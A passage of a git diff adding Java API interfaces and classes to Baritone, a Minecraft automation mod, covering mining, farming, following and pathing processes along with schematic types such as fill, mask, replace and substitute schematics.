applyJsonFilter(Path path, boolean invert) throws Exception; +} diff --git a/src/baritone/api/process/IFarmProcess.java b/src/baritone/api/process/IFarmProcess.java new file mode 100644 index 00000000..224307af --- /dev/null +++ b/src/baritone/api/process/IFarmProcess.java @@ -0,0 +1,45 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.process; + +import net.minecraft.util.math.BlockPos; + +public interface IFarmProcess extends IBaritoneProcess { + + /** + * Begin to search for crops to farm with in specified aria + * from specified location. + * + * @param range The distance from center to farm from + * @param pos The center position to base the range from + */ + void farm(int range, BlockPos pos); + + /** + * Begin to search for nearby crops to farm. + */ + default void farm() {farm(0, null);} + + /** + * Begin to search for crops to farm with in specified aria + * from the position the command was executed. + * + * @param range The distance to search for crops to farm + */ + default void farm(int range) {farm(range, null);} +} diff --git a/src/baritone/api/process/IFollowProcess.java b/src/baritone/api/process/IFollowProcess.java new file mode 100644 index 00000000..ef869da4 --- /dev/null +++ b/src/baritone/api/process/IFollowProcess.java @@ -0,0 +1,51 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.process; + +import net.minecraft.entity.Entity; + +import java.util.List; +import java.util.function.Predicate; + +/** + * @author Brady + * @since 9/23/2018 + */ +public interface IFollowProcess extends IBaritoneProcess { + + /** + * Set the follow target to any entities matching this predicate + * + * @param filter the predicate + */ + void follow(Predicate filter); + + /** + * @return The entities that are currently being followed. null if not currently following, empty if nothing matches the predicate + */ + List following(); + + Predicate currentFilter(); + + /** + * Cancels the follow behavior, this will clear the current follow target. + */ + default void cancel() { + onLostControl(); + } +} diff --git a/src/baritone/api/process/IGetToBlockProcess.java b/src/baritone/api/process/IGetToBlockProcess.java new file mode 100644 index 00000000..f58efbd3 --- /dev/null +++ b/src/baritone/api/process/IGetToBlockProcess.java @@ -0,0 +1,35 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.process; + +import baritone.api.utils.BlockOptionalMeta; +import net.minecraft.block.Block; + +/** + * but it rescans the world every once in a while so it doesn't get fooled by its cache + */ +public interface IGetToBlockProcess extends IBaritoneProcess { + + void getToBlock(BlockOptionalMeta block); + + default void getToBlock(Block block) { + getToBlock(new BlockOptionalMeta(block)); + } + + boolean blacklistClosest(); +} diff --git a/src/baritone/api/process/IMineProcess.java b/src/baritone/api/process/IMineProcess.java new file mode 100644 index 00000000..9cd76a09 --- /dev/null +++ b/src/baritone/api/process/IMineProcess.java @@ -0,0 +1,117 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.process; + +import baritone.api.utils.BlockOptionalMeta; +import baritone.api.utils.BlockOptionalMetaLookup; +import net.minecraft.block.Block; + +import java.util.stream.Stream; + +/** + * @author Brady + * @since 9/23/2018 + */ +public interface IMineProcess extends IBaritoneProcess { + + /** + * Begin to search for and mine the specified blocks until + * the number of specified items to get from the blocks that + * are mined. + * + * @param quantity The total number of items to get + * @param blocks The blocks to mine + */ + void mineByName(int quantity, String... blocks); + + /** + * Begin to search for and mine the specified blocks until + * the number of specified items to get from the blocks that + * are mined. This is based on the first target block to mine. + * + * @param quantity The number of items to get from blocks mined + * @param filter The blocks to mine + */ + void mine(int quantity, BlockOptionalMetaLookup filter); + + /** + * Begin to search for and mine the specified blocks. + * + * @param filter The blocks to mine + */ + default void mine(BlockOptionalMetaLookup filter) { + mine(0, filter); + } + + /** + * Begin to search for and mine the specified blocks. + * + * @param blocks The blocks to mine + */ + default void mineByName(String... blocks) { + mineByName(0, blocks); + } + + /** + * Begin to search for and mine the specified blocks. + * + * @param boms The blocks to mine + */ + default void mine(int quantity, BlockOptionalMeta... boms) { + mine(quantity, new BlockOptionalMetaLookup(boms)); + } + + /** + * Begin to search for and mine the specified blocks. + * + * @param boms The blocks to mine + */ + default void mine(BlockOptionalMeta... boms) { + mine(0, boms); + } + + /** + * Begin to search for and mine the specified blocks. + * + * @param quantity The total number of items to get + * @param blocks The blocks to mine + */ + default void mine(int quantity, Block... blocks) { + mine(quantity, new BlockOptionalMetaLookup( + Stream.of(blocks) + .map(BlockOptionalMeta::new) + .toArray(BlockOptionalMeta[]::new) + )); + } + + /** + * Begin to search for and mine the specified blocks. + * + * @param blocks The blocks to mine + */ + default void mine(Block... blocks) { + mine(0, blocks); + } + + /** + * Cancels the current mining task + */ + default void cancel() { + onLostControl(); + } +} diff --git a/src/baritone/api/process/PathingCommand.java b/src/baritone/api/process/PathingCommand.java new file mode 100644 index 00000000..61445f8a --- /dev/null +++ b/src/baritone/api/process/PathingCommand.java @@ -0,0 +1,61 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.process; + +import baritone.api.pathing.goals.Goal; + +import java.util.Objects; + +/** + * @author leijurv + */ +public class PathingCommand { + + /** + * The target goal, may be {@code null}. + */ + public final Goal goal; + + /** + * The command type. + * + * @see PathingCommandType + */ + public final PathingCommandType commandType; + + /** + * Create a new {@link PathingCommand}. + * + * @param goal The target goal, may be {@code null}. + * @param commandType The command type, cannot be {@code null}. + * @throws NullPointerException if {@code commandType} is {@code null}. + * @see Goal + * @see PathingCommandType + */ + public PathingCommand(Goal goal, PathingCommandType commandType) { + Objects.requireNonNull(commandType); + + this.goal = goal; + this.commandType = commandType; + } + + @Override + public String toString() { + return commandType + " " + goal; + } +} diff --git a/src/baritone/api/process/PathingCommandType.java b/src/baritone/api/process/PathingCommandType.java new file mode 100644 index 00000000..af25591a --- /dev/null +++ b/src/baritone/api/process/PathingCommandType.java @@ -0,0 +1,60 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.process; + +import baritone.api.Settings; + +public enum PathingCommandType { + + /** + * Set the goal and path. + *

+ * If you use this alongside a {@code null} goal, it will continue along its current path and current goal. + */ + SET_GOAL_AND_PATH, + + /** + * Has no effect on the current goal or path, just requests a pause + */ + REQUEST_PAUSE, + + /** + * Set the goal (regardless of {@code null}), and request a cancel of the current path (when safe) + */ + CANCEL_AND_SET_GOAL, + + /** + * Set the goal and path. + *

+ * If {@link Settings#cancelOnGoalInvalidation} is {@code true}, revalidate the + * current goal, and cancel if it's no longer valid, or if the new goal is {@code null}. + */ + REVALIDATE_GOAL_AND_PATH, + + /** + * Set the goal and path. + *

+ * Cancel the current path if the goals are not equal + */ + FORCE_REVALIDATE_GOAL_AND_PATH, + + /** + * Go and ask the next process what to do + */ + DEFER +} diff --git a/src/baritone/api/schematic/AbstractSchematic.java b/src/baritone/api/schematic/AbstractSchematic.java new file mode 100644 index 00000000..cca6bc96 --- /dev/null +++ b/src/baritone/api/schematic/AbstractSchematic.java @@ -0,0 +1,50 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.schematic; + +public abstract class AbstractSchematic implements ISchematic { + + protected int x; + protected int y; + protected int z; + + public AbstractSchematic() { + this(0, 0, 0); + } + + public AbstractSchematic(int x, int y, int z) { + this.x = x; + this.y = y; + this.z = z; + } + + @Override + public int widthX() { + return x; + } + + @Override + public int heightY() { + return y; + } + + @Override + public int lengthZ() { + return z; + } +} diff --git a/src/baritone/api/schematic/CompositeSchematic.java b/src/baritone/api/schematic/CompositeSchematic.java new file mode 100644 index 00000000..17c1150a --- /dev/null +++ b/src/baritone/api/schematic/CompositeSchematic.java @@ -0,0 +1,81 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.schematic; + +import net.minecraft.block.BlockState; + +import java.util.ArrayList; +import java.util.List; + +public class CompositeSchematic extends AbstractSchematic { + + private final List schematics; + private CompositeSchematicEntry[] schematicArr; + + private void recalcArr() { + schematicArr = schematics.toArray(new CompositeSchematicEntry[0]); + for (CompositeSchematicEntry entry : schematicArr) { + this.x = Math.max(x, entry.x + entry.schematic.widthX()); + this.y = Math.max(y, entry.y + entry.schematic.heightY()); + this.z = Math.max(z, entry.z + entry.schematic.lengthZ()); + } + } + + public CompositeSchematic(int x, int y, int z) { + super(x, y, z); + schematics = new ArrayList<>(); + recalcArr(); + } + + public void put(ISchematic extra, int x, int y, int z) { + schematics.add(new CompositeSchematicEntry(extra, x, y, z)); + recalcArr(); + } + + private CompositeSchematicEntry getSchematic(int x, int y, int z, BlockState currentState) { + for (CompositeSchematicEntry entry : schematicArr) { + if (x >= entry.x && y >= entry.y && z >= entry.z && + entry.schematic.inSchematic(x - entry.x, y - entry.y, z - entry.z, currentState)) { + return entry; + } + } + return null; + } + + @Override + public boolean inSchematic(int x, int y, int z, BlockState currentState) { + CompositeSchematicEntry entry = getSchematic(x, y, z, currentState); + return entry != null && entry.schematic.inSchematic(x - entry.x, y - entry.y, z - entry.z, currentState); + } + + @Override + public BlockState desiredState(int x, int y, int z, BlockState current, List approxPlaceable) { + CompositeSchematicEntry entry = getSchematic(x, y, z, current); + if (entry == null) { + throw new IllegalStateException("couldn't find schematic for this position"); + } + return entry.schematic.desiredState(x - entry.x, y - entry.y, z - entry.z, current, approxPlaceable); + } + + @Override + public void reset() { + for (CompositeSchematicEntry entry : schematicArr) { + entry.schematic.reset(); + } + } +} diff --git a/src/baritone/api/schematic/CompositeSchematicEntry.java b/src/baritone/api/schematic/CompositeSchematicEntry.java new file mode 100644 index 00000000..10260542 --- /dev/null +++ b/src/baritone/api/schematic/CompositeSchematicEntry.java @@ -0,0 +1,33 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.schematic; + +public class CompositeSchematicEntry { + + public final ISchematic schematic; + public final int x; + public final int y; + public final int z; + + public CompositeSchematicEntry(ISchematic schematic, int x, int y, int z) { + this.schematic = schematic; + this.x = x; + this.y = y; + this.z = z; + } +} diff --git a/src/baritone/api/schematic/FillSchematic.java b/src/baritone/api/schematic/FillSchematic.java new file mode 100644 index 00000000..5936b897 --- /dev/null +++ b/src/baritone/api/schematic/FillSchematic.java @@ -0,0 +1,54 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.schematic; + +import baritone.api.utils.BlockOptionalMeta; +import net.minecraft.block.BlockState; + +import java.util.List; + +public class FillSchematic extends AbstractSchematic { + + private final BlockOptionalMeta bom; + + public FillSchematic(int x, int y, int z, BlockOptionalMeta bom) { + super(x, y, z); + this.bom = bom; + } + + public FillSchematic(int x, int y, int z, BlockState state) { + this(x, y, z, new BlockOptionalMeta(state.getBlock())); + } + + public BlockOptionalMeta getBom() { + return bom; + } + + @Override + public BlockState desiredState(int x, int y, int z, BlockState current, List approxPlaceable) { + if (bom.matches(current)) { + return current; + } + for (BlockState placeable : approxPlaceable) { + if (bom.matches(placeable)) { + return placeable; + } + } + return bom.getAnyBlockState(); + } +} diff --git a/src/baritone/api/schematic/ISchematic.java b/src/baritone/api/schematic/ISchematic.java new file mode 100644 index 00000000..592b5e84 --- /dev/null +++ b/src/baritone/api/schematic/ISchematic.java @@ -0,0 +1,95 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.schematic; + +import net.minecraft.block.BlockState; +import net.minecraft.util.Direction; + +import java.util.List; + +/** + * Basic representation of a schematic. Provides the dimensions and the desired state for a given position relative to + * the origin. + * + * @author leijurv + */ +public interface ISchematic { + + /** + * Does the block at this coordinate matter to the schematic? + *

+ * Normally just a check for if the coordinate is in the cube. + *

+ * However, in the case of something like a map art, anything that's below the level of the map art doesn't matter, + * so this function should return false in that case. (i.e. it doesn't really have to be air below the art blocks) + * + * @param x The x position of the block, relative to the origin + * @param y The y position of the block, relative to the origin + * @param z The z position of the block, relative to the origin + * @param currentState The current state of that block in the world, or null + * @return Whether or not the specified position is within the bounds of this schematic + */ + default boolean inSchematic(int x, int y, int z, BlockState currentState) { + return x >= 0 && x < widthX() && y >= 0 && y < heightY() && z >= 0 && z < lengthZ(); + } + + default int size(Direction.Axis axis) { + switch (axis) { + case X: + return widthX(); + case Y: + return heightY(); + case Z: + return lengthZ(); + default: + throw new UnsupportedOperationException(axis + ""); + } + } + + /** + * Returns the desired block state at a given (X, Y, Z) position relative to the origin (0, 0, 0). + * + * @param x The x position of the block, relative to the origin + * @param y The y position of the block, relative to the origin + * @param z The z position of the block, relative to the origin + * @param current The current state of that block in the world, or null + * @param approxPlaceable The list of blockstates estimated to be placeable + * @return The desired block state at the specified position + */ + BlockState desiredState(int x, int y, int z, BlockState current, List approxPlaceable); + + /** + * Resets possible caches to avoid wrong behavior when moving the schematic around + */ + default void reset() {} + + /** + * @return The width (X axis length) of this schematic + */ + int widthX(); + + /** + * @return The height (Y axis length) of this schematic + */ + int heightY(); + + /** + * @return The length (Z axis length) of this schematic + */ + int lengthZ(); +} diff --git a/src/baritone/api/schematic/ISchematicSystem.java b/src/baritone/api/schematic/ISchematicSystem.java new file mode 100644 index 00000000..c8f03907 --- /dev/null +++ b/src/baritone/api/schematic/ISchematicSystem.java @@ -0,0 +1,44 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.schematic; + +import baritone.api.command.registry.Registry; +import baritone.api.schematic.format.ISchematicFormat; + +import java.io.File; +import java.util.Optional; + +/** + * @author Brady + * @since 12/23/2019 + */ +public interface ISchematicSystem { + + /** + * @return The registry of supported schematic formats + */ + Registry getRegistry(); + + /** + * Attempts to find an {@link ISchematicFormat} that supports the specified schematic file. + * + * @param file A schematic file + * @return The corresponding format for the file, {@link Optional#empty()} if no candidates were found. + */ + Optional getByFile(File file); +} diff --git a/src/baritone/api/schematic/IStaticSchematic.java b/src/baritone/api/schematic/IStaticSchematic.java new file mode 100644 index 00000000..0389d8bc --- /dev/null +++ b/src/baritone/api/schematic/IStaticSchematic.java @@ -0,0 +1,59 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.schematic; + +import net.minecraft.block.BlockState; + +/** + * A static schematic is capable of providing the desired state at a given position without + * additional context. Schematics of this type are expected to have non-varying contents. + * + * @author Brady + * @see #getDirect(int, int, int) + * @since 12/24/2019 + */ +public interface IStaticSchematic extends ISchematic { + + /** + * Gets the {@link BlockState} for a given position in this schematic. It should be guaranteed + * that the return value of this method will not change given that the parameters are the same. + * + * @param x The X block position + * @param y The Y block position + * @param z The Z block position + * @return The desired state at the specified position. + */ + BlockState getDirect(int x, int y, int z); + + /** + * Returns an {@link BlockState} array of size {@link #heightY()} which contains all + * desired block states in the specified vertical column. The index of {@link BlockState}s + * in the array are equivalent to their Y position in the schematic. + * + * @param x The X column position + * @param z The Z column position + * @return An {@link BlockState} array + */ + default BlockState[] getColumn(int x, int z) { + BlockState[] column = new BlockState[this.heightY()]; + for (int i = 0; i < this.heightY(); i++) { + column[i] = getDirect(x, i, z); + } + return column; + } +} diff --git a/src/baritone/api/schematic/MaskSchematic.java b/src/baritone/api/schematic/MaskSchematic.java new file mode 100644 index 00000000..735ab98f --- /dev/null +++ b/src/baritone/api/schematic/MaskSchematic.java @@ -0,0 +1,55 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.schematic; + +import baritone.api.schematic.mask.Mask; +import net.minecraft.block.BlockState; + +import java.util.List; + +public abstract class MaskSchematic extends AbstractSchematic { + + private final ISchematic schematic; + + public MaskSchematic(ISchematic schematic) { + super(schematic.widthX(), schematic.heightY(), schematic.lengthZ()); + this.schematic = schematic; + } + + protected abstract boolean partOfMask(int x, int y, int z, BlockState currentState); + + @Override + public boolean inSchematic(int x, int y, int z, BlockState currentState) { + return schematic.inSchematic(x, y, z, currentState) && partOfMask(x, y, z, currentState); + } + + @Override + public BlockState desiredState(int x, int y, int z, BlockState current, List approxPlaceable) { + return schematic.desiredState(x, y, z, current, approxPlaceable); + } + + public static MaskSchematic create(ISchematic schematic, Mask function) { + return new MaskSchematic(schematic) { + + @Override + protected boolean partOfMask(int x, int y, int z, BlockState currentState) { + return function.partOfMask(x, y, z, currentState); + } + }; + } +} diff --git a/src/baritone/api/schematic/ReplaceSchematic.java b/src/baritone/api/schematic/ReplaceSchematic.java new file mode 100644 index 00000000..1b1c4d4e --- /dev/null +++ b/src/baritone/api/schematic/ReplaceSchematic.java @@ -0,0 +1,53 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.schematic; + +import baritone.api.utils.BlockOptionalMetaLookup; +import net.minecraft.block.BlockState; + +public class ReplaceSchematic extends MaskSchematic { + + private final BlockOptionalMetaLookup filter; + private final Boolean[][][] cache; + + public ReplaceSchematic(ISchematic schematic, BlockOptionalMetaLookup filter) { + super(schematic); + this.filter = filter; + this.cache = new Boolean[widthX()][heightY()][lengthZ()]; + } + + @Override + public void reset() { + // it's final, can't use this.cache = new Boolean[widthX()][heightY()][lengthZ()] + for (int x = 0; x < cache.length; x++) { + for (int y = 0; y < cache[0].length; y++) { + for (int z = 0; z < cache[0][0].length; z++) { + cache[x][y][z] = null; + } + } + } + } + + @Override + protected boolean partOfMask(int x, int y, int z, BlockState currentState) { + if (cache[x][y][z] == null) { + cache[x][y][z] = filter.has(currentState); + } + return cache[x][y][z]; + } +} diff --git a/src/baritone/api/schematic/ShellSchematic.java b/src/baritone/api/schematic/ShellSchematic.java new file mode 100644 index 00000000..e9808ad7 --- /dev/null +++ b/src/baritone/api/schematic/ShellSchematic.java @@ -0,0 +1,32 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.schematic; + +import net.minecraft.block.BlockState; + +public class ShellSchematic extends MaskSchematic { + + public ShellSchematic(ISchematic schematic) { + super(schematic); + } + + @Override + protected boolean partOfMask(int x, int y, int z, BlockState currentState) { + return x == 0 || y == 0 || z == 0 || x == widthX() - 1 || y == heightY() - 1 || z == lengthZ() - 1; + } +} diff --git a/src/baritone/api/schematic/SubstituteSchematic.java b/src/baritone/api/schematic/SubstituteSchematic.java new file mode 100644 index 00000000..e77edca7 --- /dev/null +++ b/src/baritone/api/schematic/SubstituteSchematic.java @@ -0,0 +1,91 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.schematic; + +import net.minecraft.block.AirBlock; +import net.minecraft.block.Block; +import net.minecraft.block.Blocks; +import net.minecraft.block.BlockState; +import net.minecraft.state.Property; + +import java.util.Collection; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +public class SubstituteSchematic extends AbstractSchematic { + + private final ISchematic schematic; + private final Map> substitutions; + private final Map> blockStateCache = new HashMap<>(); + + public SubstituteSchematic(ISchematic schematic, Map> substitutions) { + super(schematic.widthX(), schematic.heightY(), schematic.lengthZ()); + this.schematic = schematic; + this.substitutions = substitutions; + } + + @Override + public boolean inSchematic(int x, int y, int z, BlockState currentState) { + return schematic.inSchematic(x, y, z, currentState); + } + + @Override + public BlockState desiredState(int x, int y, int z, BlockState current, List approxPlaceable) { + BlockState desired = schematic.desiredState(x, y, z, current, approxPlaceable); + Block desiredBlock = desired.getBlock(); + if (!substitutions.containsKey(desiredBlock)) { + return desired; + } + List substitutes = substitutions.get(desiredBlock); + if (substitutes.contains(current.getBlock()) && !(current.getBlock() instanceof AirBlock)) {// don't preserve air, it's almost always there and almost never wanted + return withBlock(desired, current.getBlock()); + } + for (Block substitute : substitutes) { + if (substitute instanceof AirBlock) { + return current.getBlock() instanceof AirBlock ? current : Blocks.AIR.getDefaultState(); // can always "place" air + } + for (BlockState placeable : approxPlaceable) { + if (substitute.equals(placeable.getBlock())) { + return withBlock(desired, placeable.getBlock()); + } + } + } + return substitutes.get(0).getDefaultState(); + } + + private BlockState withBlock(BlockState state, Block block) { + if (blockStateCache.containsKey(state) && blockStateCache.get(state).containsKey(block)) { + return blockStateCache.get(state).get(block); + } + Collection> properties = state.getBlock().getStateContainer().getProperties(); + BlockState newState = block.getDefaultState(); + for (Property property : properties) { + try { + newState = copySingleProp(state, newState, property); + } catch (IllegalArgumentException e) { //property does not exist for target block + } + } + blockStateCache.computeIfAbsent(state, s -> new HashMap()).put(block, newState); + return newState; + } + + private > BlockState copySingleProp(BlockState fromState, BlockState toState, Property prop) { + return toState.with(prop, fromState.get(prop)); + } +} diff --git a/src/baritone/api/schematic/WallsSchematic.java b/src/baritone/api/schematic/WallsSchematic.java new file mode 100644 index 00000000..c48a0855 --- /dev/null +++ b/src/baritone/api/schematic/WallsSchematic.java @@ -0,0 +1,32 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.schematic; + +import net.minecraft.block.BlockState; + +public class WallsSchematic extends MaskSchematic { + + public WallsSchematic(ISchematic schematic) { + super(schematic); + } + + @Override + protected boolean partOfMask(int x, int y, int z, BlockState currentState) { + return x == 0 || z == 0 || x == widthX() - 1 || z == lengthZ() - 1; + } +} diff --git a/src/baritone/api/schematic/format/ISchematicFormat.java b/src/baritone/api/schematic/format/ISchematicFormat.java new file mode 100644 index 00000000..3fe045bc --- /dev/null +++ b/src/baritone/api/schematic/format/ISchematicFormat.java @@ -0,0 +1,45 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.schematic.format; + +import baritone.api.schematic.ISchematic; +import baritone.api.schematic.IStaticSchematic; + +import java.io.File; +import java.io.IOException; +import java.io.InputStream; + +/** + * The base of a {@link ISchematic} file format + * + * @author Brady + * @since 12/23/2019 + */ +public interface ISchematicFormat { + + /** + * @return The parser for creating schematics of this format + */ + IStaticSchematic parse(InputStream input) throws IOException; + + /** + * @param file The file to check against + * @return Whether or not the specified file matches this schematic format + */ + boolean isFileType(File file); +} diff --git a/src/baritone/api/schematic/mask/AbstractMask.java b/src/baritone/api/schematic/mask/AbstractMask.java new file mode 100644 index 00000000..ce92af0e --- /dev/null +++ b/src/baritone/api/schematic/mask/AbstractMask.java @@ -0,0 +1,49 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 